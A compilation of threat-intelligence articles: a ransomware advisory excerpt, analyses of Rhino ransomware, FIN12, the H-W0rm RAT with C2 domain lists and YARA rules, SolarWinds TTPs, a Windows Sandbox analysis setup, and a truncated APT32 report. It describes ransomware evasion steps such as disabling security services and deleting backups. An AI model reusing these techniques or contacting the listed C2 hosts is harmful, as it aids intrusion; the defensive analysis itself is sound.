Disable password “hints.” - Refrain from requiring password changes unless there is evidence of password compromise. - Only use secure networks; avoid using public Wi-Fi networks. - Consider installing and using a virtual private network (VPN) to establish secure remote connections. - Focus on cybersecurity awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities, such as ransomware and phishing scams. ## RESOURCES - Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. - Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. ## REPORTING - To report an incident and request technical assistance, contact CISA at [email protected] or 888-282-0870, or FBI through a local field office. - Financial Institutions must ensure compliance with any applicable Bank Secrecy Act requirements, including suspicious activity reporting obligations. Indicators of compromise (IOCs), such as suspicious email addresses, file names, hashes, domains, and IP addresses, can be provided under Item 44 of the Suspicious Activity Report (SAR) form. For more information on mandatory and voluntary reporting of cyber events via SARs, see FinCEN Advisory FIN-2016-A005 and FinCEN Advisory FIN-2021-A004. - The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
# Malware Analysis Spotlight: Rhino Ransomware In this Malware Analysis Spotlight, the VMRay Labs Team examines the behavior of Rhino Ransomware (first identified in April 2020). This sample was found by Twitter user @GrujaRS on May 4th. The first step before the ransomware encrypts user files is to disable various services: - wscsvc (Windows Security Center Service) - WinDefend (Windows Defender Service) - wuauserv (Windows Update Service) - BITS - ERSvc (Error Reporting Service) - WerSvc (Windows Error Reporting Service) The malware author disables these services to prevent interruptions (like restarting after a Windows Update) or errors in encryption (notifying an end-user of malicious activity using Windows Defender). In addition to stopping the system services, the ransomware tries to stop running tasks of Microsoft Exchange, sqlserver, and sqlwriter. Stopping these tasks ensures it can encrypt all files that might still be in use by Microsoft Exchange during the encryption process. By focusing on Microsoft Exchange, this could mean that Rhino Ransomware is targeting businesses. It hinders recovery from backups by deleting relevant data like shadow copies and the backup catalog, as well as disabling the Windows Recovery Mode with bcdedit. Typically, these commands are hardcoded in the program/malware itself, but in this sample, the commands are embedded as a resource file. This design allows the malware author to change or update the commands without altering the logic inside. To achieve persistence, the sample copies itself to the %AppData% directory as “mshtop32bit.exe” and creates a new entry in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run for the value “MarvelHost”. After the files have been encrypted, it adds the file marker “Marvel01” at offset filesize-32 to the content and appends the string “.[[email protected]].rhino” to the filenames. The email in the appended string is also displayed in the ransom note. The ransomware excludes files with the extensions exe, sys, lnk, dll, msi, and its ransom notes. To inform the user about the infection, the text file “ReadMe_Decryptor.txt” is dropped in various directories. Furthermore, another ransom note (“Decryptor_Info.hta”) is dropped in %AppData% and shown to the user. SHA256: 8af0d99cef6fb1d040083ff8934f9a7ce01f358ca796b3c60087a2ebf6335c83
# FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets Today, Mandiant Intelligence is releasing a comprehensive report detailing FIN12, an aggressive, financially motivated threat actor behind prolific ransomware attacks since at least October 2018. FIN12 is unique among many tracked ransomware-focused actors today because they do not typically engage in multi-faceted extortion and have disproportionately impacted the healthcare sector. They are also the first FIN actor that we are promoting who specializes in a specific phase of the attack lifecycle—ransomware deployment—while relying on other threat actors for gaining initial access to victims. This specialization reflects the current ransomware ecosystem, which is comprised of various loosely affiliated actors partnering together, but not exclusively with one another. The full published report covers historical and ongoing activity attributed to FIN12, their use of partners to enable their operations, including initial access providers, the evolution of the group’s tactics, techniques, and procedures, and trends in their extensive use of Cobalt Strike BEACON. ## FIN12 Victims FIN12’s operations illustrate that no target is off limits when it comes to ransomware attacks, including those that provide critical care functions. Almost 20 percent of directly observed FIN12 victims were in the healthcare industry, and many of these organizations operate medical facilities. We observed FIN12 activity at healthcare organizations both before and after the joint alert by multiple U.S. government entities in October 2020 that warned of an “increased and imminent” threat to hospitals and medical facilities. This targeting pattern deviates from some other ransomware threat actors who had at least stated an intention to show restraint in targeting hospitals, especially throughout the COVID-19 pandemic. FIN12’s remaining victims have operated in a broad range of sectors, including but not limited to business services, education, finance, government, manufacturing, retail, and technology. While these victim organizations have been overwhelmingly located in North America, there is some evidence that FIN12's regional targeting is expanding. Nearly 85 percent of the group’s known victims have been based in North America; however, we observed twice as many victim organizations based outside of North America in the first half of 2021 than we observed in 2019 and 2020 combined. Collectively, these organizations have been based in Australia, Colombia, France, Indonesia, Ireland, the Philippines, South Korea, Spain, the United Arab Emirates, and the United Kingdom. This shift could be due to various factors such as FIN12 working with more diverse partners to obtain initial access and increasingly elevated and unwanted attention from the U.S. government. We believe that the most significant factor in FIN12’s targeting calculus has been a victim’s annual revenue. The vast majority of known FIN12 victims have more than $300 million USD in revenue, based on corporate financial data compiled from ZoomInfo. While this data is skewed to our direct visibility, FIN12 does appear to consistently target larger companies in comparison to the average ransomware affiliate. Targeting victims that meet a certain revenue threshold also aligns with underground forum activity; some threat actors, including those using RYUK, have specified different ranges of minimum requirements for potential victims’ annual revenue. Further, comments detailing revenue information in malware administration panels operated by FIN12’s initial access providers illustrate that this is a relevant factor for victim selection or at minimum for prioritization of available targets. FIN12’s selection of high-value targets is consistent with the broader trend of threat actors pursuing larger targets in recent years, almost certainly because of the perception that it justifies proportionally large ransom demands. ## Parasites And Symbiotes From the beginning of their operations and until March 2020, we observed FIN12 exclusively leverage TRICKBOT accesses as a launching point for their ransomware attacks. However, after returning from a nearly four-month hiatus in August 2020, the initial access vectors leveraged by FIN12 became increasingly diversified. In at least some cases, these variations may reflect the use of distinct initial access providers. For example, beginning in early 2021, we directly observed several cases where the first evidence of FIN12 activity was a login to a victim’s Citrix environment. This activity is also consistent with our identification of multiple Russian-speaking actors operating in underground communities seeking partners who could provide Citrix accesses for RYUK ransomware operations. Although we currently lack sufficient evidence to attribute these actors to FIN12, these solicitations nonetheless further support the likelihood that FIN12 has not relied on a single initial access provider to enable their operations. This division of labor is not uncommon and reflects the professionalism and specialization of the cybercrime ecosystem overall. In many incidents, where the initial intrusion vector was identified, FIN12 activity was observed on the same day as the initial access campaign suggesting that FIN12 maintains a close relationship with at least some threat actors providing them access. Most notably, FIN12 maintains a close relationship with TRICKBOT and BAZARLOADER affiliated actors. Beyond leveraging accesses obtained via these families, FIN12 has used overlapping toolsets and services including backdoors, droppers, and codesigning certificates. Despite these similarities, we track FIN12 as a distinct threat actor given their specific role in the deployment of ransomware, their ability to work independently of these families, and our observations of other distinct threat actors who also deploy ransomware using accesses obtained via these malware ecosystems. ## Prioritizing Speed FIN12's reliance on other threat actors to obtain initial access to organizations and their specific focus on ransomware deployment has paid dividends in terms of their time-to-ransom (TTR). We calculate the TTR as the amount of time from when they first access an environment to when they begin to deploy ransomware. In the first half of 2021, as compared to 2020, FIN12 significantly improved their TTR, cutting it in half to just 2.5 days. These efficiency gains are enabled by their specialization in a single phase of the attack lifecycle, which allows threat actors to develop expertise more quickly. FIN12 also stands out in the pack of ransomware operators today because they do not usually engage in multifaceted extortion—a tactic that has become commonplace in today’s threat landscape. The most significant factor in FIN12's decision to refrain from stealing victim data and publicly shaming victims may be the impact it has on the speed of their operations. The average TTR across our FIN12 engagements involving data theft was just under 12.5 days compared to 2.5 days where data theft was not observed. Each additional day FIN12 spends in an environment before completing their objective increases their risk of being detected. FIN12's apparent success without the need to incorporate additional extortion methods likely suggests the notion that they do not believe spending additional time to steal data is worth the risk of having their plans to deploy ransomware thwarted. ## Implications While threat actors running ransomware-as-a-service (RaaS) outfits have an important role in multifaceted extortion attacks, the focus on the branding and communication components of these services can detract from other important players. Intrusion actors, such as FIN12, may arguably play a more pivotal role in these operations, yet have received marginal attention. These actors are the ones navigating victim networks and deploying the ransomware itself, and in at least some cases, may have direct input into the target selection. The skillset required for this role may be comparatively less developed within the cyber-criminal underground, which has historically put a heavy emphasis on malware development, distribution, and the management of cash-out operations. We also constantly observe solicitations from threat actors looking to recruit individuals to join intrusion teams, sometimes even trying to hire individuals under false pretenses, facts that may be reflective of a talent shortage in this area. Notably, intrusion groups do not typically have an allegiance to any particular RaaS brand and have exhibited that they can easily switch between or use multiple brands concurrently. The shifting nature of these allegiances is a key reason for why intrusion operators such as FIN12 are important for security teams and organizations to understand and track rather than maintaining an exclusive focus on the brands and ransomware families these operators choose to distribute at a given moment.
# Down the H-W0rm Hole with Houdini's RAT Commodity Remote Access Trojans (RATs) -- which are designed, productized and sold to the casual and experienced hacker alike -- put powerful remote access capabilities into the hands of criminals. RATs, such as H-W0rm, njRAT, KilerRAT, DarkComet, Netwire, XtremeRAT, JSocket/AlienSpy/Adwind and others, hold special interest for the Threat Research Team at Fidelis Cybersecurity. We're constantly following, detecting and monitoring the lifecycle of these RATs as they appear, disappear and often reappear under a new moniker. There have been recent reports about a new version of one such commodity RAT, H-W0rm (Hworm), and the various campaigns it is being used in. Our telemetry shows that H-W0rm is one of the most active RATs we've seen, with infections observed across virtually all enterprise verticals and geographies in which Fidelis Cybersecurity products are deployed. In this blog post, the Threat Research Team at Fidelis Cybersecurity is supplementing these recent reports by providing the security community with the following: - Technical descriptions of the payload behavior when installed on the victim machine. - Domains observed in active infections over the past six months. We also make a larger mined dataset available through Fidelis Barncat, a malware configuration intelligence database shared at no cost with trusted third parties. - Artifacts correlating Hworm C2 domains with njRAT, XtremeRAT and DarkComet. - Yara rules that can be used to detect the VBS and PE versions of H-W0rm. ## A Worm That's Really a RAT It is worth clarifying that even though the malware is known as H-W0rm/Hworm, this version is not a typical worm. Specifically, it features classic Remote Access Trojan capabilities that allow the adversary to fully control the infected system. Here is a rundown of some of these capabilities: - Collect system information: hardware ID, client name/campaign code, computer name, operating system, worm/RAT version, information about AV installed, webcam presence, etc. - File Manager: download, rename, delete, execute - Remote Desktop capture/screenshot - Keylogger - Collect password filled in forms from web browsers, such as Mozilla Firefox, Google Chrome, and Opera - Webcam - Microphone - Run remote application or script from disk or internet, or load it in memory via RunPE - Update RAT from disk or internet - Close connection - Uninstall RAT ## Let's Go to the Videotape A YouTube video shows an Hworm version that is referred to as version 2. The Exploit panel, under the Builder tab, looks interesting. At the moment, it is unclear how this feature works, but its mere presence suggests the potential for creating and integrating future exploits into the malware. Our analysis found that one of the samples saved keystroke data into the %TEMP% directory using the filename [malware_name.dat]. In this instance, the malware was configured from the builder to be installed in the %TEMP% directory, but based on the builder settings, it can be installed in the following directories: - %APPDATA% - %USERPROFILE% - %PROGRAMDATA% (Windows 7) - %TEMP% The malware also created the following hidden folder in the attached USB drive: $RECYCLE.BIN. ## The Link to Houdini There has been speculation in the research community that "Houdini" (aka ‘Mohamed Benabdellah’) is believed to have connection with “njq8” (aka ‘Naser Al Mutairi’), the initial developer of “njRAT” and “njw0rm”. It has further been speculated that "Houdini" is based in Algeria and “njq8” in Kuwait. It is also said that “njq8” has a connection with “Black Mafia” on the development of “Black Worm”, indicating potential collaboration between these RAT developers. ## AV Information in the Network Traffic The network traffic of some versions of the Hworm malware contain information about the antivirus tool installed in the victim system. This data indicates that some of the infected systems appeared to have been running antivirus tools like: - Microsoft Security Essentials - Symantec Endpoint Protection - McAfee VirusScan Enterprise - ESET Smart Security - Windows Defender Normally, those tools will detect the malware, but for some unknown reason it looks like the AV tools didn’t remove those versions of the Hworm malware running in memory. Without a copy of the specific Hworm version in the victim system and a forensics investigation, it is difficult to confirm why those AV tools didn’t remove the sample from those victim systems. ## Protect Yourself These findings are another validation of how a layered approach to secure the network enterprise is needed to protect your endpoints from these cyber threats. In order to aid the security community with indicators of the Hworm RAT, the following is a list of C2 domains we have seen in the past six months: - 1cowsound.mooo.com - hbooob.no-ip.biz - p-dark.zapto.org - 3bod-x.no-ip.biz - hell222.no-ip.biz - pilo-raouf.no-ip.biz - 43r0m4x.publicvm.com - herohero.no-ip.org - qalsdahxjnm.no-ip.biz - 9amoo.zapto.org - hussamhack.no-ip.biz - qwwq.no-ip.biz - a.servecounterstrike.com - ines0049.ddns.net - qwwq.servehttp.com - aaaazzzz9999000.no-ip.biz - j2w2d.no-ip.biz - righi.linkpc.net - aabod8.no-ip.biz - jeflex.no-ip.org - ronaldo-123.no-ip.biz - adolf2013.sytes.net - jn.redirectme.net - sara-tabuk.no-ip.biz - ah99.no-ip.info - justprogamers.ddns.net - servecounterstrike.servecounterstrike.com - ahmad212.no-ip.biz - khdt1.zapto.org - smoker21.hopto.org - aktam04.no-ip.info - king0780.no-ip.biz - strangler89.no-ip.org - ali252612.zapto.org - king999.ddns.net - support.microsoft.linkpc.net - amran-pc.no-ip.biz - kingofus.myq-see.com - swanox.no-ip.org - anarqe77.no-ip.biz - klonkino.no-ip.org - syses.sytes.net - anonymous-0.no-ip.biz - kohen.no-ip.org - systim.publicvm.com - asdfghj123.ddns.net - ksa2013.no-ip.biz - universal2010.no-ip.org - azo8oz.no-ip.biz - mastlg.no-ip.biz - updlate.serveminecraft.net - bifrost-jordan.zapto.org - max-ps.sytes.net - vipvip3.dyndns.org - cyberspy.zapto.org - maxy.no-ip.info - vipx.zapto.org - dmar123.no-ip.biz - mi0.bounceme.net - wormaa.zapto.org - doda.redirectme.net - microsoft8.publicvm.com - wvvw.sytes.net - douda.linkpc.net - microsoftntdll.sytes.net - x.dvr-ddns.com - douda.no-ip.info - microsoftsystem.sytes.net - xdz.no-ip.org - dz47.linkpc.net - mohamedmmk.zapto.org - xxtataxx.no-ip.biz - elaspany.ddns.net - mouradel.no-ip.org - yahia17.no-ip.org - epohme.no-ip.org - nemlacom.no-ip.iz - fecabook.redirectme.net - njrat2012.no-ip.biz - g00gle.sytes.net - noooot.no-ip.biz - googlechrome.servequake.com - ody.no-ip.biz - hacker0021.no-ip.biz - org.publicvm.com From the above domains, the following one quickly stands out: “njrat2012.no-ip.biz”. The last Hworm activity observed at a client site with this domain was on Oct 2016. pDNS data shows that in June 2016 this domain was associated with Xtreme RAT activity. We also found samples of njRAT v.0.7d and v.0.4.1a beaconing to this domain. The following table shows some of the C2 correlations: | Malware | MD5 | C2 | |---------------|---------------------------------------|--------------------------------------| | XtremeRAT | 6b3ef140a6062d7fa295c8fedde7d689 | njrat2012.no-ip.biz:22 | | njRAT v.0.7d | 0de41aef336f40a07ed6984db61b52ab | njrat2012.no-ip.biz:2020 | | njRAT v.0.4.1a| e081a42d6e09a3fcf049a33b2ecf0412 | njrat2012.no-ip.biz:1177 | | DarkComet | 06e125132b458321f97b6409a4db9ac4 | vipvip3.dyndns.org:1604 | | njRAT | 361c9d44809f788b92023b762e363449 | vipvip3.dyndns.org:8817 | To aid the security community, we're constantly enriching Fidelis Barncat with newer Hworm configurations using our mining techniques. ## Yara Rules The following Yara rules can also be used to detect this threat: ```yara rule win_vbs_rat_hworm { strings: $sa1 = "CONFIG" $sa2 = "MYCODE" $sa3 = "SHELLOBJ.EXPANDENVIRONMENTSTRINGS" $sa4 = "BASE64TOHEX" $sa5 = "DCOM.VIRTUALALLOC" $sa6 = "LOADER_" $sa7 = "PE_PTR" $sa8 = "OBJWMISERVICE.EXECQUERY" $sa9 = "WSCRIPT.EXE" nocase $sa10 = "FUNCTION" $sa11 = "DIM" $sa12 = "END SUB" $sb1 = "HOST_FILE" $sb2 = "FILE_NAME" $sb3 = "INSTALL_DIR" $sb4 = "START_UP_REG" $sb5 = "START_UP_TASK" $sb6 = "START_UP_FOLDER" $sc1 = "DCOM_DATA" $sc2 = "LOADER_DATA" $sc3 = "FILE_DATA" $sc4 = "(1)" $sc5 = "(2)" $sc6 = "(3)" $sc7 = "FILE_SIZE" condition: (all of ($sa*)) and ( (all of ($sb*) or (all of ($sc*)) ) } ``` ```yara rule win_exe_rat_hworm { strings: $sa1 = "connection_host" wide ascii $sa2 = "connection_port" wide ascii $sa3 = "install_folder" wide ascii $sa4 = "install_name" wide ascii $sa5 = "nickname_id" wide ascii $sa6 = "password" wide ascii $sa7 = "injection" wide ascii $sa8 = "startup_registry" wide ascii $sa9 = "startup_folder" wide ascii $sa10 = "startup_task" wide ascii $sa11 = "process_name" wide ascii $sa12 = "fkeylogger_host" wide ascii $sa13 = "fkeylogger_port" wide ascii $sa14 = "keylogger_init" wide ascii $sa15 = "keylogger_offline" wide ascii $sa16 = "file_manager" wide ascii $sa17 = "usb" wide ascii $sa18 = "password" wide ascii $sa19 = "filemanager" wide ascii $sa20 = "keylogger" wide ascii $sa21 = "screenshot" wide ascii $sa22 = "show" nocase wide ascii $sa23 = "open" wide ascii $sa25 = "create" wide ascii $sa26 = "Self" wide ascii $sa27 = "createsuspended" wide ascii condition: (uint16(0) == 0x5A4D) and (all of them) } ```
# Tactics, Techniques, and Procedures (TTPs) Used in the SolarWinds Breach ## EXECUTIVE SUMMARY SolarWinds announced that the SolarWinds Orion Platform network monitoring product had been modified by a state-sponsored threat actor via embedding backdoor code into a legitimate SolarWinds library. This leads to the attacker having remote access into the victim’s environment and a foothold in the network, which can be used by the attacker to obtain privileged credentials. The SolarWinds breach is also connected to the FireEye breach. In this article, we analyzed tactics, techniques, and procedures utilized by threat actors of the SolarWinds incident to understand their attack methods and the impact of this breach. ### Key Findings - It is a global attack campaign that started in March 2020 and is ongoing. - The attack campaign has the potential to affect thousands of public and private organizations. - The attack started with a software supply chain compromise attack. - Threat actors trojanized a component of the SolarWinds Orion Platform software, dubbed as SUNBURST by FireEye. - The backdoored version of the software was distributed via its automatic update mechanism. - Attackers heavily used various defense evasion techniques such as masquerading, code signing, obfuscated files or information, indicator removal on host, and virtualization/sandbox evasion. - The threat actor leverages ten different MITRE ATT&CK tactics, including Lateral Movement, Command and Control, and Data Exfiltration. - Used techniques indicate that the threat actors are highly skilled. ## Tactics, Techniques and Procedures used in SolarWinds Breach (Mapped to MITRE ATT&CK Framework) Our analysis uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) version 8.1 framework. ### 1. Resource Development #### 1.1. T1587.001 Develop Capabilities: Malware Adversaries create malware and malware components before compromising a victim, such as payloads, droppers, backdoors, and post-compromise tools. In the SolarWinds incident, attackers embedded their malicious payload on a legitimate component of the SolarWinds Orion Platform software. This component is a DLL library, SolarWinds.Orion.Core.BusinessLayer.dll. FireEye named the backdoored version of the DLL file as SUNBURST. The SUNBURST backdoor delivers different payloads, such as a previously unseen memory-only dropper dubbed TEARDROP by FireEye. The TEARDROP dropper deploys an infamous post-compromise tool, Cobalt Strike Beacon. #### 1.2. T1583.003 Acquire Infrastructure: Virtual Private Server In this MITRE ATT&CK technique, adversaries rent Virtual Private Servers (VPSs) that can be used during the attack campaign. According to FireEye research, the threat actor leverages VPSs to use only IP addresses originating from the same country as the victim. ### 2. Initial Access #### 2.1. T1195.002 Supply Chain Compromise: Compromise Software Supply Chain In the software supply chain compromise attack technique, adversaries modify software prior to receipt by a final user by manipulating the software's source code, source code repositories, open-source dependencies' source code, build & distribution systems, update mechanism, development environment, or compiled release. In the SolarWinds Orion breach, adversaries embedded malicious code into a SolarWinds library file, SolarWinds.Orion.Core.BusinessLayer.dll. According to SolarWinds security advisory, attackers backdoored three versions of the Orion Platform software: 2019.4 HF 5, 2020.2 with no hotfix, and 2020.2 HF 1. However, it is not clear how attackers could tamper this file. According to Microsoft's research, adversaries might have compromised and manipulated build or distribution systems and embedded malicious code. Another claim is that attackers might have uploaded the malicious DLL file to the source code repository of SolarWinds using leaked FTP credentials. The backdoored SolarWinds Orion Platform software update file that includes the malicious DLL file was distributed via its automatic update mechanism. ### 3. Execution #### 3.1. T1569.002 System Services: Service Execution In this MITRE ATT&CK technique, adversaries execute their malware as a Windows service. During the installation of the SolarWinds application or update, the tampered DLL file is loaded by the legitimate SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe and installed as a Windows service. ### 4. Persistence #### 4.1. T1543.003 Create or Modify System Process: Windows Service As part of persistence, adversaries can create or change Windows services to repeatedly execute malicious payloads. When Windows boots up, the malicious code starts as a service. The TEARDROP malware loaded by the modified DLL runs as a service in the background. ### 5. Privilege Escalation #### 5.1. T1078 Valid Accounts According to this MITRE ATT&CK technique, adversaries may obtain and abuse legitimate credentials to gain Initial Access, Persistence, Privilege Escalation, Defense Evasion, or Lateral Movement. Threat actors use multiple valid accounts for lateral movement in this attack campaign. ### 6. Defense Evasion #### 6.1. T1553.002 Subvert Trust Controls: Code Signing To bypass application control technologies, adversaries sign their malware with valid signatures by creating, acquiring, or stealing code-signing materials. In the SolarWinds incident, attackers have compromised digital certificates of SolarWinds. #### 6.2. T1036.005 Masquerading: Match Legitimate Name or Location As a defense evasion technique, adversaries change features of their malicious artifacts with legitimate and trusted ones. According to the FireEye report, the threat actor of the SolarWinds breach uses a legitimate hostname found within the victim’s environment as the hostname on their Command and Control (C2) infrastructure to avoid detection. Moreover, the malware masquerades its C2 traffic as the Orion Improvement Program (OIP) protocol. #### 6.3. T1036.003 Masquerading: Rename System Utilities To avoid name-based detection, adversaries may rename system utilities. Moreover, the threat actor replaces a legitimate utility with theirs, executes their payload, and then restores the legitimate original file. #### 6.4. T1036.004 Masquerading: Masquerade Task or Service Adversaries masquerade the name of a task/service with the name of a legitimate task/service to make it appear benign and evade detection. #### 6.5. T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion Adversaries employ various time-based evasion methods, such as delaying malware functionality upon initial execution, to avoid virtualization and analysis environments. In the SolarWinds case, attackers delay Command and Control communication two weeks after the installation. #### 6.6. T1027.003 Obfuscated Files or Information: Steganography In this MITRE ATT&CK technique, adversaries hide data in digital media such as images, audio, video, and text to prevent the detection of hidden information. The TEARDROP malware used in the breach reads from the file gracious_truth.jpg that includes a malicious payload. #### 6.7. T1070.004 Indicator Removal on Host: File Deletion Adversaries delete their malicious files to clear traces and minimize the adversary’s footprint to avoid detection and inspection. The threat actor removes their malicious files, including backdoors, after the remote access. ### 7. Discovery #### 7.1. T1057 Process Discovery Adversaries obtain information about running processes on a system to understand common software and applications running on systems within the network. The threat actor gets a list of processes to shape follow-on behaviors. #### 7.2 T1012 Query Registry Adversaries query the Windows Registry to get information about the system, configuration, and installed software. The threat actor obtains Cryptographic Machine GUID by querying the value of MachineGuid in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography key to generate a unique userID for each victim. ### 8. Lateral Movement #### 8.1. T1021 Remote Services In this MITRE ATT&CK technique, adversaries use valid accounts to log into a remote service, such as remote desktop protocol (RDP), SSH, and VNC. The threat actor uses valid accounts and legitimate remote access to move laterally in the target network. ### 9. Command and Control #### 9.1. T1071.001 Application Layer Protocol: Web Protocols According to this technique, adversaries communicate using application layer (L7) protocols and blend Command and Control traffic with existing web traffic to avoid detection and network filtering. The malware used in this breach utilizes HTTP GET or HEAD requests when data is requested and HTTP PUT or HTTP POST requests when data is sent. #### 9.2. T1568.002 Dynamic Resolution: Domain Generation Algorithms Adversaries use Domain Generation Algorithms (DGAs) to dynamically generate a C2 domain rather than relying on a list of static IP addresses or domains. The backdoor used in this attack campaign uses a DGA to determine its C2 server. ### 10. Exfiltration #### T1041 Exfiltration Over C2 Channel In this MITRE ATT&CK technique, adversaries steal data by exfiltrating it over an existing C2 channel. The threat actor uses HTTP PUT or HTTP POST requests when the collected data is being exfiltrated to the C2 server. If the payload is bigger than 10000 bytes, the POST method is used. Otherwise, the PUT method is used.
# Using Windows Sandbox for Malware Analysis **Disclaimer:** If you are not running Windows on your host, you might not get anything out of this post. Sorry Tux. I am convinced that the Windows Sandbox is one of the best virtualization solutions to do dynamic malware analysis (for Windows malware, at least). The reason is quite simple: Distinguishing a Windows 10 Sandbox instance from the actual underlying Windows 10 install should be very difficult for malware. Specifically, if the host is running on HyperV with Guarded Host enabled, my current understanding is that there are little to no differences between the two, but they are neatly isolated from one another. The configuration options are limited, but you can easily cook up a config that launches a Windows Sandbox instance that has all the tools you need for some basic unpacking & dynamic analysis. This is what my malware analysis sandbox looks like at launch: I have successfully executed a number of samples that evade execution in other virtualized environments. That's a far cry from rigorous testing, so take my praise with a grain of salt. Still, it might be worth a try; the setup is really easy. ### My Config The Windows Sandbox documentation should have everything you need for installation; that bit is fairly straightforward. What the documentation doesn't have is a ready-to-go, copy & paste example configuration. So here it is: ```xml <Configuration> <AudioInput>Disable</AudioInput> <ClipboardRedirection>Disable</ClipboardRedirection> <MemoryInMB>4096</MemoryInMB> <Networking>Disable</Networking> <PrinterRedirection>Disable</PrinterRedirection> <ProtectedClient>Enable</ProtectedClient> <vGPU>Enable</vGPU> <VideoInput>Disable</VideoInput> <LogonCommand> <Command>powershell.exe -ep unrestricted c:\tooling\newsandbox.ps1</Command> </LogonCommand> <MappedFolders> <MappedFolder> <HostFolder>w:\vmshare\tooling</HostFolder> <SandboxFolder>c:\tooling</SandboxFolder> <ReadOnly>true</ReadOnly> </MappedFolder> <MappedFolder> <HostFolder>w:\vmshare\airlock</HostFolder> <SandboxFolder>c:\airlock</SandboxFolder> <ReadOnly>false</ReadOnly> </MappedFolder> </MappedFolders> </Configuration> ``` You put this into a file called `malware-analysis.wsb` and that's it. The `.wsb` file type should be associated with the Windows Sandbox executable, so shell-executing the file (read: double-clicking it) should launch a new Windows Sandbox instance with that configuration. Most of the settings are fairly obvious. This configuration is my offline analysis sandbox which has no internet connection. I give the VM a decent amount of memory to avoid being detected based on poor hardware specs. All other settings are configured to lock down the sandbox instance as tightly as possible. I use two shared folders: - `w:\vmshare\tooling` contains ProcessHacker, SysInternals, and x64dbg with OllyDumpEx and ScyllaHide plugins installed. - `w:\vmshare\airlock` is the location where the malware goes into the sandbox, and dumps come out. You can have the Windows Sandbox execute a brief setup script during startup. My script is the following: ```powershell [CmdletBinding(PositionalBinding=$false)] Param( [Parameter(Mandatory=$false)] [string] $Src = "c:\tooling" ) Set-ExecutionPolicy Unrestricted -Scope LocalMachine $wsh = New-Object -comObject WScript.Shell $shortcuts = @( @("x32dbg", "$Src\x64dbg\release\x32\x32dbg.exe"), @("x64dbg", "$Src\x64dbg\release\x64\x64dbg.exe"), @("hacker", "$Src\ProcessHacker\64bit\ProcessHacker.exe") ) $copyfile = @( @("pm0nitor.exe", "$Src\SysinternalsSuite\Procmon64.exe"), @("autoruns.exe", "$Src\SysinternalsSuite\autoruns64.exe") ) $copyfile | ForEach-Object { $dst = Join-Path "$Home\Desktop" $_[0] Copy-Item $_[1] $dst } $shortcuts | ForEach-Object { $dst = $_[0] $sc = $wsh.CreateShortcut("$Home\Desktop\$dst.lnk") $sc.TargetPath = $_[1] $sc.Save() } ``` All it does is make PowerShell execute at unrestricted by default and place a few shortcuts on the desktop to my analysis tooling. You can obviously do more here. ### Caveats I am only recommending the Windows Sandbox for very simple dynamic analysis, mainly for: - unpacking packed binaries with x64dbg and ProcessHacker - verifying hypotheses formed during static analysis - deobfuscating obfuscated PowerShell, JScript, and VBScript dynamically It is not well-suited for more complex scenarios. There was a very nice piece about Windows Sandbox internals which illustrates how you can replace the Windows Sandbox base image with your own. The article is very interesting but quite frankly, I would rather set up a proper VM than hack a different base image into the Windows Sandbox. The big advantage for me is that I get an extremely well-hardened virtualization solution with close to zero effort. Tags: dynamic analysis, hardening, malware, sandbox, unpacking, virtual machine, virtualization, windows sandbox
# Pulse Report: New APT32 Malware Campaign Targets Cambodian Government Recorded Future’s Insikt Group has discovered a new malware campaign targeting the Cambodian government using an Association of Southeast Asian Nations (ASEAN)-themed spearphish. Using Recorded Future RAT controller detections and Network Traffic Analysis, Insikt Group identified new operational infrastructure that we attribute to the Vietnamese state-sponsored threat activity group APT32, also known as OceanLotus. This assessment is also supported by the identification of several Cambodian victim organizations communicating with this infrastructure, and aligns with previous campaigns targeting these organizations. ## History Vietnam and Cambodia have a long history of conflict, dating back to the Sino-Vietnamese War of the 1970s, when Vietnam started strengthening its cyber warfare capabilities and began retaliatory attacks on China’s “little brother,” Cambodia. In 2017, with the formation of APT32, the group targeted ASEAN’s website during the 2017 annual summit, as well as targeting websites of ministries or government agencies in Cambodia, Lao PDR, and the Philippines. In recent years, the relationship between Vietnam and Cambodia has deteriorated in part because of China’s Belt and Road Initiatives (BRI) in the region. As Cambodian Prime Minister Hun Sen has grown closer to Chinese President Xi Jinping, the two have strengthened the partnerships between the two countries, pushing Vietnam out of critical regional cooperatives. Chinese investments in Cambodia include critical infrastructure, joint military exercises in the South China Sea, and a new property development just north of Ream Naval Base, strategically located on the Gulf of Thailand between Vietnam and Cambodia. ## New APT32 Infrastructure In June 2020, Insikt Group reported on new APT32 operational infrastructure identified through a proprietary method of tracking malware activity associated with APT32, such as METALJACK and DenisRAT. Using this same methodology, Insikt Group has continued to identify new, active APT32 IP addresses and associated domains. Insikt researchers discovered several samples that are part of this campaign: **Sample 1:** The first sample is delivered via a malicious document titled, “បញ្ជីរាយនាមអនុព័ន្ធយោធាបរទេសនិងការិយាល័យសហប្រតិបត្តិ ការយោធាប្រចាំកម្ពុជា,” which translates to “List of Foreign Military Attachments and Office of Military Cooperation in Cambodia.docx~[.]exe.” This sample, likely delivered via spearphishing, is a self-extracting archive (SFX) containing four files: 1. A legitimate executable signed by Apple (SoftwareUpdate.exe). 2. A related benign dynamic link library (DLL) file (SoftwareUpdateFiles.dll). 3. A malicious DLL (SoftwareUpdateFilesLocalized.dll). 4. A file named “SoftwareUpdateFiles.locale” containing encrypted shellcode. Upon execution of the SFX, the Apple executable loads the benign DLL before loading the malicious DLL, which is stored in the SoftwareUpdateFiles.Resources/en.lproj file path. The malicious DLL then extracts the encrypted shellcode from the SoftwareUpdateFile.locale file and decrypts and executes it, while displaying a decoy document to the user (a Microsoft Word document displaying an “activation error”), eventually loading the final payload. This loading process matches APT32 activity previously reported by Insikt Group and Ahnlab in relation to an APT32 sample referencing the 2020 ASEAN Summit. Further analysis of these artifacts for identification of the malware family is ongoing within Insikt Group and updates will 